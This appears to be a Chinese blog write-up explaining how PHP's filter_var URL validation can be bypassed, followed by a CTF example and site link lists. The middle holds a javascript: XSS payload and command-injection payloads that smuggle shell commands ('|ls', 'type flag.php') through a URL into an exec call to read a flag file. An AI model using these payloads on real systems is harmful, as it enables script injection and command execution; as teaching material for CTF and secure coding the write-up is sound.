简介

// composer require "twig/twig"
require 'vendor/autoload.php'; class Template {
private $twig; public function __construct() {
$indexTemplate = '<img ' .
'src="https://loremflickr.com/320/240">' .
'<a href="{{link|escape}}">Next slide &raquo;</a>'; // Default twig setup, simulate loading
// index.html file from disk
$loader = new Twig\Loader\ArrayLoader([
'index.html' => $indexTemplate
]);
$this->twig = new Twig\Environment($loader);
} public function getNexSlideUrl() {
$nextSlide = $_GET['nextSlide'];
return filter_var($nextSlide, FILTER_VALIDATE_URL);
} public function render() {
echo $this->twig->render(
'index.html',
['link' => $this->getNexSlideUrl()]
);
}
} (new Template())->render();

filter_var() 函数通过指定的过滤器过滤变量。

filter_var(variable, filter, options)

variable 必需。规定要过滤的变量。

filter 可选。规定要使用的过滤器的 ID。

options 规定包含标志/选项的数组。检查每个过滤器可能的标志和选项。

FILTER_VALIDATE_URL 过滤器把值作为 URL 进行验证。

eg:

<?
$url=filter_var($_GET['url'],FILTER_VALIDATE_URL);
var_dump($url);
echo '<br>';
$url=htmlspecialchars($url);
var_dump($url);
echo "<a href='$url'>Next slide</a>"
?>

payload:

?url=javascript://comment%250aalert(1);

在JS中//表示单行注释 所以后面的内容均为注释内容  %25是%的url编码 %0a是换行字符的url编码,

因为换行了后面的alert(1)就不在同一行了也不在注释的范围之内了 所以就能执行了

在执行过程中将浏览器发来的payload:javascript://comment%250aalert(1) 先解码成: javascript://comment%0aalert(1) 存储在变量 $url中

然后用户点击链接就会触发弹窗!

简介

1

CTF例题

代码1

// index.php
<?php
$url = $_GET['url'];
if(isset($url) && filter_var($url, FILTER_VALIDATE_URL)){
$site_info = parse_url($url);
if(preg_match('/sec-redclub.com$/',$site_info['host'])){
exec('curl "'.$site_info['host'].'"', $result);
echo "<center><h1>You have curl {$site_info['host']} successfully!</h1></center>
<center><textarea rows='20' cols='90'>";
echo implode(' ', $result);
}
else{
die("<center><h1>Error: Host not allowed</h1></center>");
} }
else{
echo "<center><h1>Just curl sec-redclub.com!</h1></center><br>
<center><h3>For example:?url=http://sec-redclub.com</h3></center>";
} ?>

代码2

// flag.php
<?php
$flag = "HRCTF{f1lt3r_var_1s_s0_c00l}"
?>

windows环境下payload:

http://127.0.0.1/test.php?url=test://"|type=flag.php;sec-redclub.com

linux环境下payload

http://192.168.52.129:6666/index.php?url=test://"|ls;"sec-redclub.com

http://192.168.52.129:6666/index.php?url=test://"|cat<>ls;"sec-redclub.com

简介

11

------------恢复内容结束------------

最新文章

  1. 【SAP业务模式】之ICS(五):定价配置
  2. linux增加自定义path和manpath
  3. 委托、匿名方法、Lambda表达式的演进
  4. bzoj2818gcd
  5. 【HTML】Intermediate1:Span&amp;Div
  6. 常用数据库的驱动类/URL/默认端口
  7. 学习笔记::LCT
  8. localStorage和sessionStorage总结以及区别
  9. JavaScript基础知识(数据类型及转换、运算符)
  10. linux下的外网木马前期要的工具
  11. windows无法完成安装,若要在此计算机上安装,请重新启动安装
  12. [Swift]LeetCode483. 最小好进制 | Smallest Good Base
  13. 卸载postgresql数据库
  14. RSA 非对称加密,私钥转码为pkcs8 错误总结
  15. 每天一个linux命令-wc命令
  16. Postman—使用数据文件
  17. MatConvNet+Matlab2017a+CUDA8.0安装
  18. git 基础学习笔记
  19. [javascript]模块化&amp;命名污染—from 编程精解
  20. windows下实现屏幕分享(C#)

热门文章

  1. 在VMware虚拟机Ubuntu使用traceroute
  2. 实战:xfs文件系统的备份和恢复
  3. pytest参数化代码笔记
  4. Synergy屏幕共享键鼠 (for Mac&amp;Ubuntu)
  5. 51node1256 乘法匿元(扩展欧几里得)
  6. 给萌新HTML5 入门指南
  7. Spring MVC json配置
  8. 撸个反向代理,激活JRebel~
  9. C# NModbus RTU通信实现
  10. UML类图关系表示